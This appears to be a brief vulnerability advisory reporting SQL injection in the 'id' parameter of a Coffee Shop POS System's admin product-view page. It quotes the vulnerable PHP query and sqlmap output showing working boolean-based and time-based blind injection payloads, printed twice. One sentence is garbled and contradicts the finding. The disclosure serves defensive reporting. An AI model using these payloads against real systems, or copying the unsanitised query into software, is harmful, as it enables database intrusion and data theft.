SQL injection vulnerability exists in id parameter of /admin/products/view_product.php file of Coffee Shop POS System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
if(isset($_GET['id']) && $_GET['id'] > 0){
    $qry = $conn->query("SELECT p.*, c.name as `category` from `product_list` p inner join category_list c on p.category_id = c.id where p.id
    = '{$_GET['id']}' ");
    if($qry->num_rows > 0){
        foreach($qry->fetch_assoc() as $k => $v){
            $$k=$v;
        }
    }
}
?>
```

```
sqlmap identified the following injection point(s) with a total of 289 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6131=6131 AND 'hkvV'='hkvV

    Type: time-based blind
    Title: MySQL ⩾ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 9955 FROM (SELECT(SLEEP(5)))xtpt) AND 'pctD'='pctD
---
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1' AND 6131=6131 AND 'hkvV'='hkvV

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 9955 FROM (SELECT(SLEEP(5)))xtpt) AND 'pctD'='pctD

“

Source Download：

https://www.campcodes.com/projects/php/coffee-shop-pos-system-in-php-mysql/